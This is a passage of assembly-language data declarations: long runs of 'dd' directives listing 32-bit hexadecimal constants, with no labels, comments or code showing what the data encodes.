dd 0A0EF6E09h, 90721780h, 1781C03h, 24305807h, 3D07616h
dd 0CE06A45h, 680983Dh, 0D38122Ah, 1D4BC0F4h, 18108138h
dd 6C0E84A9h, 0B81B92D2h, 70521048h, 40681381h, 64D29209h
dd 81D08208h, 60A55CACh, 26E0F83Ah, 3084A095h, 1894B298h
dd 0CA88D101h, 0EC1D2268h, 0CCBC9792h, 83DC89E5h, 0A2152120h
dd 41A1B10h, 87C0FD31h, 97F2F65Eh, 8F2624C4h, 389F99A0h
dd 719A131Ch, 0D67E6688h, 0F047CC23h, 0C2159B41h, 346E790Fh
dd 8E259A08h, 0C4286F9Ch, 2319D135h, 3D4850F2h, 8DA74A37h
dd 429E699Ch, 720E21C8h, 6A214390h, 92634D37h, 408599D3h
dd 4114D550h, 823E6E4Eh, 44185509h, 3B980450h, 0F01A4B8h
dd 0FE5FE888h, 16C48AFFh, 0B2F81DCh, 1B435980h, 0F285572Eh
dd 6C7AAF2Dh, 0C620D850h, 28468715h, 0D82D626Dh, 32A05202h
dd 0C47C9186h, 81815B83h
dd 84C0560Eh, 31ABC418h, 1101E078h, 0DCAE20AAh, 7162A6B5h
dd 54A61F5Ah, 0A9228365h, 2C3605CAh, 56CA7020h, 48803EB5h
dd 0DAAA2608h, 35571319h, 71818EA7h, 1483F02Bh, 260638CEh
dd 880DE18Ch, 0ACD9442Bh, 503F042Ah, 75580F82h, 65C6D5EAh
dd 0ED902245h, 0DDC3604Fh, 0C5EA10B7h, 3485B835h, 482AA44Dh
dd 0C4329052h, 0C0806119h, 209C9DC9h, 518A0726h, 4389B04Ch
dd 0F44E229Ch, 0A1F50D86h, 4268EB8Eh, 0C7B20610h, 21A959B7h
dd 4452CA58h, 0CD599024h, 9003404Ah, 3644D2F4h, 6409A5C0h
dd 0E9144BD6h, 202E97ECh, 0C0CC114Ah, 813C9622h, 91403B27h
dd 22C4608Bh, 26EDB027h, 0DB5B64BDh, 0B3B6F246h, 5B2888C5h
dd 740AC9CBh, 0E02102A0h, 5EFE574Ah, 0B1D10410h, 0F02F04A0h
dd 5B9F73DCh, 56BAD2DAh, 0AE6DB6B7h, 948A52E7h, 4F64A094h
dd 778A95DDh, 0AF94850Fh, 592B0475h, 46E9EE19h, 61A203E7h
dd 0F8266050h, 22AF7400h, 0E4A196B4h, 1D8AE272h, 14E5197Dh
dd 28A119FAh, 7760BDDEh, 0E782429Fh, 25BA0556h, 4C098A98h
dd 41D3DCF0h, 0A8212B37h, 54F60940h, 0E0FABC02h, 8963AF03h
dd 9C0392F7h, 2D0F8168h, 9FE2A40Ah, 0A9DDD258h, 2A4FA4A0h
dd 6EC2239h, 92E701F5h, 2DDD0AA0h, 32A776DAh, 0A13016B3h
dd 65282160h, 6704E18h, 0BE10811h, 0BC8B5C0Bh, 9C86C53Eh
dd 564FCD4Eh, 7054D361h, 0A9393D46h, 9436C3A0h, 0F876F697h
dd 56B81082h, 0A4D01D08h, 36C95526h, 5E08421h, 149CF609h
dd 3052962h, 4A0837BFh, 5607D318h, 2AE00210h, 0D6522317h
dd 329F7308h, 0AA216492h, 1A556E68h, 1982C993h, 2600A8CBh
dd 9B092269h, 2FB0FE5Ah, 286F981Ah, 4DD8182Dh, 2982CD10h
dd 3004F26Fh, 4B730180h, 981C01D0h, 861B1C3h, 0BB2694C3h
dd 6DCECA90h, 700E01h, 18D39A7h, 4B496B51h, 580B019h, 0CC81AB38h
dd 0F032066h, 34969B99h, 0CECE816Bh, 0B6A7035Ah, 6D5805B5h
dd 9ACB536Ah, 6D35A7D6h, 812B3767h, 4567752h, 5C18022h
dd 59EBD2B6h, 4292F6E7h, 2099C0B8h, 6E4E65BBh, 0C6D502B2h
dd 2D97696Dh, 645EE9DDh, 9C4BA44Dh, 28F04A0Fh, 7477A771h
dd 6D02095Dh, 0A0119BABh, 0C4748CC1h, 51797709h, 0B6F4EE37h
dd 0BDCCB9FBh, 0FB9F814Ah, 5B8F7967h, 0D33A92CAh, 60DDE4A4h
dd 23055F80h, 0BDCF4AAh, 98017B52h, 384F7882h, 0B4D75393h
dd 0A8A91437h, 0D81FBDE6h, 5666A313h, 5614733h, 0D31DCD68h
dd 0A95B880Bh, 4F614CA9h, 4C5CE447h, 0AD935240h, 0E7094184h
dd 85B10116h, 32626C0h, 792AA0E1h, 0F0F80B2Fh, 9C982FEh
dd 1C9AD2C1h, 188C48D3h, 0CC5437E3h, 0F45736C0h, 4BB2BB6Ch
dd 0E5B99490h, 7308FBA2h, 0D7821957h, 0E1CCC06Eh, 4418010Eh
dd 85498270h, 9017D1D2h, 8CB01094h, 0E4FADCAh, 0F8B05F94h
dd 0A7F296A1h, 0ADAD6990h, 108983E7h, 3EB3005Eh, 2E27D81Bh
dd 52F6D888h, 4B7F9253h, 0D82204EAh, 30678E80h, 406E5803h
dd 82D6940Bh, 255D31A5h, 1A0374Dh, 3C0769Eh, 0C978EF20h
dd 0BF1DE4Fh, 1E07B510h, 4406F8CFh, 0F69EF180h, 0E017A800h
dd 0C083D101h, 5FA401h, 0FA8D3DE9h, 0D4407BD2h, 0AB75B6B9h
dd 88EAF019h, 0AC031E58h, 21677546h, 0E75C8100h, 3ECBB37Ah
dd 0D9209783h, 606F6D25h, 75DFC5F7h, 48C4B9B0h, 8415018h
dd 56CADEC6h, 0EAECC22Ch, 59B6DF4Eh, 53AAB5FFh, 0C34725FDh
dd 0B4B12300h, 0DF877074h, 8B4B77h, 0AD4FD4C7h, 0F090C36Eh
dd 0FBB6A413h, 0F50254B1h, 0FE7C3FE1h, 0B5BFCBF9h, 6C2D0DADh
dd 1D816037h, 170660DCh, 0EB80AE60h, 2E74CFEDh, 2342B205h
dd 202404C6h, 4DEAD167h, 74B52CAh, 34B62EBCh, 2EA4D8A0h
dd 0CE024FAh, 0EADDE052h, 6B628C6Dh, 702EB291h, 6ACA422Ch
dd 6044D4CDh, 80C2A52h, 0C673EEE8h, 0E044D8A4h, 91406E0Ch
dd 0B2DA807Ah, 6240DC22h, 23024A93h, 0B002A24Ah, 404293CFh
dd 944CD407h, 2E4B8228h, 602E5202h, 3492CDAh, 600320ACh
dd 2D6A952Bh, 0D8AB5302h, 7EB75022h, 6B3A036Dh, 0EFA084CBh
dd 0C64D004Eh, 0C9029CCh, 0C2875C50h, 2C260E2Ch, 0E02A0949h
dd 62E402Ah, 900E275h, 0ABA82B30h, 24EFC03h, 72F6C07Ah
dd 4018B44Fh, 1E61D606h, 0B8D2C104h, 0A0060h, 6010C0Bh
dd 0C61D6050h, 602806A1h, 10B10910h, 100CB10Bh, 71151131h
dd 11711911h, 2111E123h, 71251231h, 11B12112h, 910C0CBh
dd 71340651h, 11FE3513h, 13F13C04h, 0B5141141h, 0A0500B40h
dd 0F4405114h, 51153150h, 9158F351h, 6513915h, 9B14B140h
dd 0B1691660h, 0BC05009h, 0BD153154h, 71791760h, 17314B17h
dd 85183181h, 0A9031831h, 18F18D18h, 95186903h, 0B1991971h
dd 2003119h, 7AD6E076h, 2076D680h, 0B0D4F1Ah, 72070070h
dd 2903190Fh, 0D44F72F7h, 531931C0h, 6D6D1911h, 76B3A91h
dd 709091B0h, 0B1D91AA0h, 1B20771Dh, 22D78021h, 0F05CD670h
dd 14D18AD4h, 7090314Bh, 0B1B40300h, 0D6ED6F1Ah, 0C11511B6h
dd 319AF2F1h, 1531C117h, 7320B14Fh, 51A71D8Fh, 21EE1203h
dd 74754EBDh, 0F1EAB3ABh, 0D951FF1Fh, 0F1B2F70h, 0F14A03D2h
dd 10715F13h, 0C606A06Bh, 80501CC1h, 0B410C0Eh, 1800A00Ah
dd 410C09E0h, 1EA1CC0Ch, 0E61F21E6h, 0A1E01E61h, 26726326h
dd 75273271h, 52792772h, 27E1ED27h, 0DB27F281h, 61E61DA1h
dd 61DBFE28h, 28C1D61Dh, 981CD291h, 0D29D2912h, 2A328D29h
dd 832821DBh, 0F2AD26B2h, 2B32B12Ah, 0A92B12B5h, 0F2B72812h
dd 1D92B32Bh, 0C92C72C0h, 0F2CD2CB2h, 2D32D12Ch, 992B32D5h
dd 0F2DC49F2h, 2E218049h, 9E184185h, 418C18A4h, 1A019219h
dd 0F92F72F4h, 0C1A12FB2h, 30330019h, 0F52FD301h, 219D3052h
dd 2F531019h, 0F53161A9h, 13081952h, 2FB3181Ah, 0C193311h
dd 931730D3h, 31D3081Ah, 23315333h, 732F32B3h, 31F30D31h
dd 4932B2F9h, 0E1B53053h, 2FB30334h, 0F933F33Fh, 0D32733F2h
dd 34F34E19h, 0F7367345h, 818819D2h, 1A61A930h, 0ED377374h
dd 80C41D81h, 4604E0Eh, 0E006006h, 60C40442h, 1F21DE1Dh
dd 0F61F41FEh, 73952801h, 3A33A01Fh, 0A93A73A5h, 0E1F53A33h
dd 3A93AB3Ah, 0B93B61F3h, 73BD27B3h, 27F2BA1Eh, 0C81EB3B3h
dd 93C93CB3h, 3D33D13Bh, 0B33D53D5h, 0E1ED3C33h, 0F3E01FFEh
dd 3D33D61Fh, 0ED3EA1F1h, 33E73EB3h, 3F73F53Fh, 0FD3EF3F5h
dd 21F13FF3h, 1FF4053Eh, 0F140B400h, 140D3E61h, 4033E340h
dd 0F4093EBh, 0B3CD40F4h, 4261DF3Ch, 601DF429h, 93221AB2h
dd 30943536h, 0FD43734Bh, 0A1AB32F2h, 43D43A1Ah, 49335345h
dd 545144F4h, 32132F35h, 5D34B341h, 335733D4h, 35F43743h
dd 0B21B3305h, 1A81881h, 1E01941Ch, 0C137E1CCh, 600A1040h
dd 0E80E600h, 0EA1DB38Ch, 21993761h, 1A749349h, 9D49B442h
dd 34A149F4h, 4A74A54Ah, 754AB377h, 34AD49B3h, 4954AD4Bh
dd 0AF375495h, 34C14BE1h, 4C74C54Ch, 0B54C34C9h, 0A1A74CF4h
dd 4D74D54Ch, 0DD4DB4D9h, 34E14DF4h, 4E74E54Eh, 0B01B14C9h
dd 0D4434C61h, 4421B14Eh, 521B52FFh, 35014FF4h, 50750550h
dd 0F3325509h, 951150B2h, 2F746333h, 0A61A01C1h, 41D61F21h
dd 740660Ch, 0B54820FEh, 0FEE80660h, 0A1DA0C40h, 4421F01Fh
dd 0D34BA1A7h, 75454E94h, 4634C154h, 0AC1A954Dh, 75555521h
dd 55555955h, 0E354F54Fh, 355B54F4h, 56B55F55h, 0AD567357h
dd 0D5675641h
dd 57B57956h, 8157F57Dh, 956957F5h, 4681881Ah, 5D58F45Fh
dd 734B31F4h, 32959932h, 3936534Dh, 35A55914h, 5A735130h
dd 615AF5ADh, 55981B53h, 33131F30h, 8D59B43Dh, 75B95B15h
dd 1F34432Fh, 7537E1D4h, 952C0BC0h, 1E00C4FFh, 0AE1AA1EAh
dd 92F55721h, 5821BB49h, 7557154Dh, 14C15555h, 1894A557h
dd 0FD32A188h, 33036035h, 60B5715Fh, 1F54F557h, 955B60D3h
dd 61B61560h, 0ED5F161Dh, 13176235h, 61F58362h, 161B3567h
dd 73455135h, 5BB43F35h, 592F7457h, 154D6413h, 50761137h
dd 7F43F64Bh, 76435095h, 4514A536h, 1B3001B5h, 95221F75h
dd 115D20Eh, 660F7484h, 21F35DA0h, 31D3195Eh, 241BC1A9h
dd 55FE6576h, 12F96334h, 68F68C1Ch, 0B354F691h, 15A13635h
dd 1C16901Ah, 0A56A2190h, 0B5C16A36h, 3276AD6Ah, 0AB6AF44Fh
dd 0B6B96A76h, 6B41916Bh, 0C56C36C1h, 0B6BD3116h, 6CB6CD6Ch
dd 0A76B56C7h, 559B6D36h, 51A1936Ah, 0C55955C5h, 13693435h
dd 44750959h, 0FB58F43Dh, 73676F12h, 6E55AF6Eh, 73367307h
dd 334E1A14h, 0C526547h, 7008409Eh, 600800C0h, 5DB6700Eh
dd 0BC1AE1E7h, 0F3215E41h, 1941BA1Ah, 35733730h, 97397377h
dd 1A163573h, 0BD6D16ACh, 0B74973B6h, 74F74D74h, 5418D733h
dd 41957517h, 75F75D75h, 3B757761h, 0B7697637h, 76576D76h
dd 6F74B759h, 0B7797777h, 6A774F76h, 3F32574Dh, 763F43D7h
dd 78B78D78h, 6563578Dh, 96F94354h, 1AB31F33h, 0E61952F8h
dd 0E0FE1D61h, 0D007409h, 0E80D5718h, 61E15320h, 1A94301Fh
dd 7F2F3300h, 17736AD6h, 7CB7C973h, 737CF749h, 8168FE77h
dd 0B6CF31F5h, 79364F6Bh, 677E77E5h, 0F4A54CF3h, 7DB49F4Ah
dd 0F97F77E9h, 0F7FD7FB7h, 1F36417Fh, 9F7101E0h, 60AC4A60h
dd 1ED5DB7Bh, 0F7C17A0h, 0F67E1953h, 5A73115Ah, 0E96FD5C3h
dd 149F43D6h, 8334A74Ch, 356D949Fh, 0F83D83B8h, 84384183h
dd 49847845h, 74A584B8h, 85380179h, 59857855h, 980535B8h
dd 21180D80h, 141D80C4h, 17413218h, 57381C19h, 6219D57Fh
dd 38781B34h, 68360746h, 494A557Fh, 35AF4D75h, 8934F54Eh
dd 9188B4EFh, 0F89D8958h, 8958A189h, 9F8A34CBh, 0B8894CB8h
dd 1BA1BB88h, 5B5BD4BEh, 0F8BD8BB8h, 1A97938Bh, 821185Eh
dd 0AC00A2h, 1CC09A21h, 7131B86Ah, 0F62C1A18h, 6275878Dh
dd 9960D8E1h, 0F4CB8438h, 4A38EB8Dh, 0E18F7899h, 0D4DF8AF4h
dd 54544384h, 98C1431h, 390D90B9h, 8078C545h, 0CF0F58C9h
dd 609A09F8h, 7A01F21Dh, 0DD2EF31Bh, 6F6298FEh, 58758E75h
dd 9319318Eh, 0CF84179Fh, 131F8DF4h, 4AD9454Dh, 4D947793h
dd 395194F9h, 44F95395h, 5D90F49Dh, 396195F9h, 80B91580h
dd 218D1919h, 0B3314999h, 93331D75h, 7D97B885h, 37957E39h
dd 74944965h, 8D7D17FFh, 373798F9h, 99799596h, 0C778F999h
dd 0A0099698h, 67791F91h, 281A17BFh, 0B99A1AD9h, 9B782930h
dd 0B96F35C7h, 39C19BF9h, 6EF8299Ch, 0CD9B35ADh, 37F99CF9h
dd 986191h, 9E07E006h, 209A0660h, 67B4F726h, 0F77D1977h
dd 131B7592h, 7DF74D99h, 6D3176B9h, 0F5535514h, 0A0746D5Ah
dd 4F7D1A07h, 0FA09A095h, 0A17A1597h, 0FFA119FDh, 0DA1D57F9h
dd 1A934B46h, 7581A22h, 39D019DAh, 655A35A3h, 0F60D599Fh
dd 338F91A8h, 73145792h, 301AE1A9h, 61B72FF7h, 1B21C418h
dd 0A2198194h, 0A18A1C81h, 1AC19418h, 0BA1BC1BCh, 14961AA1h
dd 0A4F4941Bh, 0FE4BF551h, 9953F4EFh, 0E1AF4981h, 499497A7h
dd 974CF4A1h, 219C1901h, 87C1AC1Bh, 9D6BE193h, 3871A9F5h
dd 0A6BA6B87h, 693154F9h, 9A4F5E5Ah, 7281BBA6h, 0AB8B3551h
dd 0F5E9A801h, 495A701Ah, 0B1A835E1h, 81A1A6E1h, 0AC3551A4h
dd 85AD21ABh, 7A1963D6h, 8BDAE7AEh, 0F1AEF9C5h, 7AF5AF3Ah
dd 5996E7AFh, 315721C1h, 21B41897h, 9FD3016Ah, 7C1981A1h
dd 21A12FF6h, 0D41D01Fh, 3E0BCF96h, 0F921865Ah, 81D9737Bh
dd 29B101AFh, 186187Ah, 18E199A3h, 8218E1A2h, 9757A621h
dd 2E618A19h, 621A618Fh, 649E18BAh, 7576A21Bh, 0E21A418Dh
dd 0B2EC1A52h, 0B65B6175h, 53761B53h, 5B4BB73Bh, 0B494B818h
dd 53493B53h, 7B8418FBh, 0B7DB8537h, 85757B65h, 1B87B93Bh
dd 0B11B7FB8h, 8FB5418Dh, 0DB5F75BBh, 0B792ED2Dh, 9649FB9Dh
dd 57541B61h, 19818BB5h, 0C1B941AAh, 7BC5BC3Bh, 0BCBBC9BCh
dd 0BCFEFBCDh, 0D5BD3BD1h, 0BBD9BD7Bh, 0BDFBDDBDh, 0E5BE3BE1h
dd 0BBE9BE7Bh, 0BBBBC5BEh, 0BDA67493h, 13281B21h, 1B3A9B63h
dd 0A61941A6h, 536D3301h, 0A9B1D66h, 259A3B20h, 0F9E9A45Bh
dd 1AD90367h, 41731B34h, 6182173Bh, 17817617h, 7C17C178h
dd 3C31C301h, 175B4018h, 31C39C2Ah, 9C452E7Ch, 0C4A185C3h
dd 77C2C179h, 3C581821h, 0C45C5018h, 2DC5BC5Bh, 0BC55C63Ch
dd 0C45C55C6h, 5FC35C35h, 0DC2A179Ch, 0C31C65C6h, 6DC59C57h
dd 175C6BCh, 0C55C51C4h, 69C40183h, 0BC99C87Ch, 0C9FC9DC9h
dd 0A5CA3CA1h, 0BCA9CA7Ch, 0C9BCADCAh, 0B5CB3C77h, 0BCB9CB7Ch
dd 0CBFCBDCBh, 0C5CC3CC1h, 5CC9CC7Ch, 0B79C65CCh, 79A959ADh
dd 21BE1AD8h, 4F9B0E1Bh, 0D61ED36Dh, 1C13C0E1h, 0A47B27A4h
dd 0EC1BD81Dh, 0C1BC1BB4h, 0B9E19019h, 0F20F2105h, 21000CE0h
dd 0F61080Fh, 0F60EA0EAh, 3D0BD160h, 101D05D0h, 0E81FE00h
dd 200E9D16h, 77B7D23Dh, 0D2FD2B7Bh, 39D2BD2Dh, 0FD21D3BDh
dd 0D43D400Fh, 0FFD47D45h, 61001080h, 0D53D51D1h, 2FD2FD55h
dd 0DD55D55Dh, 0D2DD61D3h, 59D1FD29h, 0BD580F7Dh, 0D72109D0h
dd 5DD0FD55h, 0FD7DD7BDh, 0D83D81D7h, 89D87D85h, 7D8DD8BDh
dd 0D93D73D8h, 99D63D93h, 0FD9DD9BDh, 0DA3DA1D9h, 0A9DA7DA5h
dd 0FDADDABDh, 0D05DADDAh, 821040FFh, 0FB9E1981h, 87D31D2Eh
dd 0E3445CDFh, 3B1FCE7Ch, 0A4209FB2h, 1DAD7B29h, 0BCF61BB8h
dd 18B9AC1Bh, 1C0CE182h, 0C09C7681h, 4360E49Eh, 760E2088h
dd 0C41A5307h, 0E007689Eh, 9E069F3h, 5DF1E03Eh, 61DE0BE0h
dd 0F3E15E14h, 0FE0BE189h, 0DF8799E1h, 0FE1E531h, 0C9EBE0FEh
dd 0DF076BE2h, 0EBE11E33h, 0FE3DE1E9h, 0E43E41E3h, 49E47E45h
dd 0FE4DE4BEh, 0E53E51E4h, 59E57E55h, 0FE5DE5BEh, 0E03E61E5h
dd 8128669h, 0F493DBA1h, 2FE1992Eh, 0C0419DFEh, 8930F443h
dd 1CE9CE41h, 0A47DD5DDh, 0D38B3321h, 7B9FDE1Ah, 0E26099DEh
dd 40098769h, 9DE17Eh, 0E51E13E2h, 4DE22A3Bh, 3E35E2BEh
dd 0EB7EB5E6h, 0BDEBBEB9h, 3EC1EBFEh, 0EC7EC5ECh, 0E811DEB9h
dd 0DA83C3C0h, 87937551h, 81E7D7F1h, 3C15DCFEh, 67BCEFDDh
dd 0F98B3E8Bh, 0C177DE3Ch, 7960E410h, 2E078768h, 0FEC9EB1Eh
dd 0E37E2BEFh, 0B1E0DEB3h, 0FE09E31Eh, 0EB89E9F0h, 15E29F15h
dd 3F21F1FFh, 0F27F25F2h, 0DF21F29h, 7E0BF23Fh, 0F37F03F1h
dd 3DF3BF39h, 20D9E43Fh, 0ECFDEE0Eh, 0A15694D3h, 14AF87D7h
dd 1881877Ch, 0E1B1A1F6h, 3C19CEDEh, 72DEEB97h, 77B9F9B1h
dd 69E80EC1h, 9C0E5DFh, 4A1FE1E6h, 0E14A0E21h, 0F441E61Fh
dd 5F921E0Bh, 1E07F8DEh, 0F9076929h, 9BE09F95h, 41D7E4BFh
dd 0E527ABF8h, 6BEAD921h, 3F3FEA27h, 0FB7FB5FBh, 0BDFBBFB9h
dd 1F75E4BFh, 0FE218210h, 2FFBFFADh, 71E761C5h, 7F5619D9h
dd 0E821D41Fh, 19E87EE3h, 15518713h, 1861C534h, 0F2198192h
dd 0E769DF9Eh, 1FE17652h, 0E216Ch, 5DBFD6C2h, 341A0A71h
dd 0C1DFEFF8h, 1E1B0C85h
dd 0DD70C84Ch, 0E31082BAh, 6BB82C48h, 0E8BC19Eh, 0E7FAEA1Dh
dd 86C8A3AAh, 3C9A4715h, 0CAA53289h, 0BA5B2C95h, 0A633097Ch
dd 6B3499CCh, 44E91CDAh, 0D75C9D0Eh, 96F379BAh, 713259CDh
dd 0AB3194CEh, 3399CD56h, 0A9D6FB62h, 0BC54181h, 9E560201h
dd 2EB3113Ch, 5C6A355Fh, 465321A1h, 0A1351ACDh, 632586C9h
dd 1C4ECBB6h, 0FD550736h, 0A3E715D3h, 63258EAAh, 377865D6h
dd 7B955E4Eh, 9BDF65Dh, 0C1E0B038h, 3E1B0B84h, 4E65F88Ch
dd 59AAC13Ah, 2CAE2A03h, 934769D1h, 34FA6D2Eh, 57AAD4EAh
dd 0FAED6EB3h, 6450AC35h, 9B3992C9h, 5B2D4C16h, 69E64483h
dd 0A1514D74h, 0FF10D95Eh, 6FF7CB15h, 38FEDCDDh, 9B1770BBh
dd 0C697509Bh, 0E5FEF338h, 78BB35B3h, 15B4D8B1h, 7CFE7426h
dd 0B6DEECB6h, 3DC2DAE7h, 8FC561F1h, 0B77B63B6h, 0C7F77D8Dh
dd 9B13B2E2h, 0BD3E8F3Fh, 61ECF5FAh, 98C4713Ah, 0D96B3419h
dd 361B2186h, 0A652B2B9h, 0A54AA14Eh, 5A56156Ah, 578D4571h
dd 0DA535960h, 5365F836h, 0AC86304Dh, 0BB111075h, 77903480h
dd 8FF77DB3h, 34696E2Ah, 68FF86A1h, 0B32B9094h, 85E1B418h
dd 61772D02h, 495158Ah, 0EE258751h, 0B33FDDB5h, 8ADDD2B8h
dd 0D1A879D0h, 0D5FDC847h, 0FE3E8F5Eh, 42906408h, 7C5EF42Eh
dd 0CC3508CAh, 87E4C836h, 0F9987ED4h, 9E8059B7h, 58606811h
dd 8C8328D0h, 7358D933h, 116B838Dh, 196E56D1h, 8AA3685Ah
dd 9D073DD0h, 9790AE41h, 366499A6h, 0D199D087h, 6EDB93ADh
dd 66E9BE71h, 0C90E6599h, 0FE7E9F67h, 8B4CA809h, 318CC305h
dd 8C8324D0h, 0A69D4331h, 0FD65FEDFh, 67600669h, 20768203h
dd 1318D034h, 78D83756h, 0C541DAB9h, 85E6E70Dh, 8A56CA7Ah
dd 56E07185h, 0E5B46D4Ah, 0A2A86783h, 78D06A92h, 2AA9ED0Bh
dd 18A6B686h, 0EEBAAE68h, 3A90ABCAh, 0A58CAA11h, 94135296h
dd 9A3A4D51h, 99C7FD9h, 0A18159F8h, 580D5971h, 4D1374DDh
dd 0CA760F2Eh, 12139806h, 0AA6E1054h, 5B9CD8D0h, 16E8EA70h
dd 98662C41h, 90AAA50h, 0C0999704h, 9DD1F6C9h, 0AA6856E4h
dd 0F8891F85h, 8219A9D6h, 3B9D26EBh, 0C06BD796h, 704C0F02h
dd 0D1D04C4Dh, 20D331CCh, 0F435CD75h, 0A34C6339h, 0A51B25FCh
dd 6956CDA4h, 4CD7374Dh, 0CDB513D3h, 42E10180h, 9D79D96Eh
dd 92CD156Dh, 0E2F6770Fh, 6ABBCF36h, 47CC53CEh, 0F9988B3h
dd 0CA229B7h, 0AE744957h, 745CE1FCh, 796B371Eh, 505704C5h
dd 9B743C9h, 92742A91h, 4ED37057h, 41750D3Fh, 4C4144Eh
dd 5390CD20h, 3D360DFEh, 0C413E361h, 0E9093F12h, 0A57653B2h
dd 593F580Ch, 1C314CB3h, 128BC327h, 84C13B52h, 0A6B26013h
dd 10721112h, 74DCF761h, 48F7A1C7h, 0D22DFF73h, 4E0C72D4h
dd 4C71DDF7h, 831C753Dh, 0E13891CBh, 660E244Eh, 24177CDFh
dd 577F49F9h, 9AE6751Eh, 0E2D80E6Fh, 4401CB9Eh, 3354C218h
dd 7DF3A16Dh, 96B18D93h, 0A4650C4Dh, 365952CCh, 632F6735h
dd 8CED68Ch, 3C4147D3h, 0E246CDF0h, 50CE450Ch, 15B1050Ch
dd 3AD8D4C3h, 0BEE3D6C1h, 0E1E44EFBh, 46CF0F52h, 0BF4FD2F4h
dd 450EF496h, 31F4BD0Fh, 0EFFDBF4Ch, 44DF787h, 0CF116CF2h
dd 1FCFDC90h, 9CF3389Eh, 0FB7ECFAFh, 0FD1F4D26h, 21AC71E3h
dd 30D8E93Ah, 0A891CC53h, 0A3E4EEABh, 0A9394ACAh, 280EC502h
dd 0D71DA0D4h, 3B0C019Ch, 836A6F84h, 0C6D49E70h, 65F83E27h
dd 352728Bh, 8255051Fh, 2F294EBDh, 0C863F270h, 0FE273104h
dd 8981C037h, 5C9BD807h, 0C1E82EF5h, 780F0882h, 0FB94E906h
dd 18C3085Eh, 7784A42Eh, 942F83E8h, 49FB8D71h, 0A0D97F43h
dd 1758B1CCh, 6C5E0036h, 0C680D980h, 0D819436h, 0FD0206Fh
dd 15438B86h, 0C5B9F718h, 0E80E4415h, 7D15A073h, 29BC3787h
dd 0EC5C8A2Eh, 771AE0E2h, 0D051BB37h, 85C528Bh, 0C5B6DEE1h
dd 8A22162Eh, 0DDDCA085h, 324698A8h, 748E71CAh, 0EF1DA3ACh
dd 0EA3CC788h, 0EC7C8F71h, 8FF1FA3h, 0F20A40C8h, 0C3916C8Fh
dd 0C370F821h, 2B8A161Ch, 0FF9AFBFBh, 0B23AF62Ah, 5E19CD99h
dd 9C375D21h, 0F04A0BE1h, 0E3CE8DA0h, 46F91641h, 516C2A84h
dd 508C2D8Bh, 3C6A518h, 7761E01Eh, 0F5E4FB95h, 58883712h
dd 600AA20Eh, 7B051F1Ah, 91E94177h, 60838B10h, 4938DDA1h
dd 0B28A0684h, 5F1C1923h, 0C3242309h, 7D732A64h, 4E483BD6h
dd 2606411Ch, 391922F8h, 7C34C69Ch, 0A2FE8DF2h, 0AE629238h
dd 27009B1Bh, 861C0D49h, 0F0C31BC3h, 31240AC5h, 13A83D83h
dd 4308800Dh, 4F010C18h, 9E13B83Fh, 0E843076h, 30094074h
dd 7409E1D0h, 6F3AA7E8h, 101D8840h, 0E83706E2h, 0E10C1D27h
dd 0C10A7807h, 1089410h, 50FA1F3Ch, 8421830h, 1084A076h
dd 7E08602Eh, 86A0F3EEh, 0FA21A7A8h, 0E43C8379h, 28601081h
dd 80FD4569h, 6A8352h, 0A8108010h, 8752AD46h, 0EC1DA7Eh
dd 14A89D25h, 43515128h, 2CA714D4h, 7C20033Dh, 0CC33867Ah
dd 906110D3h, 8A1609E8h, 10A9450h, 0AA6D10A9h, 0D50A9F53h
dd 0AA754AA8h, 55AAAD54h, 0ACD58AAFh, 5CAB756Ah, 0BF57AAEDh
dd 72B0D60Ah, 0A876A375h, 206C1D43h, 6A686D4Dh, 0E6D4D861h
dd 3FF6C10Fh, 926EC18Bh, 360680D6h, 8ECE59C6h, 0D2184306h
dd 0E66B8780h, 0B4731121h, 91121CC3h, 61CC3148h, 0B620690Eh
dd 87A8EF1Eh, 0D901F163h, 43E6FEBFh, 0ACA8EF1Dh, 0EB1DA6Bh
dd 0B043AECCh, 66ECD0EDh, 75D971CDh, 0EDB30314h, 283BC798h
dd 10740F3Bh, 0C8F3B1B6h, 0D1E76B87h, 23C07B0Eh, 47559DB3h
dd 588B483Dh, 1D16A6CCh, 622CC59Dh, 0CC585B11h, 7F1D761Eh
dd 0D039AC05h, 22D30E81h, 95C91DF7h, 0E1F36B6Ch, 7716E21Ah
dd 0AEADD4BAh, 0DD8BAF75h, 0BB776AECh, 77AEEDDCh, 0F0DE0BBFh
dd 0E4BC778Ah, 0CF79AF2Dh, 0AACADE3Bh, 18E8BD57h, 61283047h
dd 63206008h, 8653F71Ah, 3A81AC35h, 0AE0EAE1Fh, 95E6F490h
dd 6A25B6CCh, 0BEAF0374h, 0DC2543E0h, 0F4848F51h, 0C0FF1FA3h
dd 8B5C87C7h, 0B742E826h, 47A60BB5h, 0E0BC2C3Fh, 0C3185B0Ch
dd 3EED760Eh, 8E201ECh, 0C63716BBh, 0F63DB0F9h, 347D9AE1h
dd 40F92138h, 0DC483EF1h, 0D8BC7DE1h, 884E19B5h, 0E231ED8Ch
dd 1FE3EB06h, 8CF130FAh, 160D3C67h, 9C2188Fh, 0F18AF071h
dd 0E069E121h, 901F26FEh, 9F939345h, 4B28E50Ch, 0AE54CA79h
dd 8CAF95B2h, 796B2CE5h, 0B2EE5CCBh, 0E60CBF97h, 0CC798B30h
dd 8A30C9CFh, 3007E1D1h, 0D51A0314h, 0F2314698h, 6D061A57h
dd 1B6275B3h, 62B83410h, 835AFB0Ch, 70B1992h, 4F17D7Eh
dd 1FA3BC3Fh, 8331E0FCh, 44E88CC9h, 8CD17A2Bh, 1FA3B46Eh
dd 4B48E90Dh, 0A694D27Ah, 0E1EA3E72h, 180865D3h, 56235A1Bh
dd 0D6F62250h, 0CED37647h, 57F3D678h, 3F8DD632h, 87D041D3h
dd 5FABB4AEh, 0CB58EB0Dh, 0AEB4D67Ah, 5D13ADB5h, 0C32E8F8Fh
dd 74EB5919h, 3FCD7E36h, 8859D164h, 7DF52A05h, 9E8D4513h
dd 71807D0h, 0F783079Dh, 4B5BE3B1h, 0AED4DA7Bh, 8DAFB5B6h
dd 38EF586Dh, 0C5F074D7h, 0CA61457h, 0CE6B14D3h, 9DEB9441h
dd 0FBE791A9h, 5950C36Eh, 0DB31623h, 0AB0F9C51h, 0AEF4DB38h
dd 8DEFBDB7h, 3AD37CEFh, 0B6F04FD7h, 0D361432h, 0FE2D7B71h
dd 0F3ACDCD4h, 6E9DCE56h, 0CD8A246Bh, 364680D1h, 7FECD1A4h
dd 14DF5BC8h, 2FC5B8AFh, 0AB8BF18Eh, 0F5331DF8h, 0FD530E77h
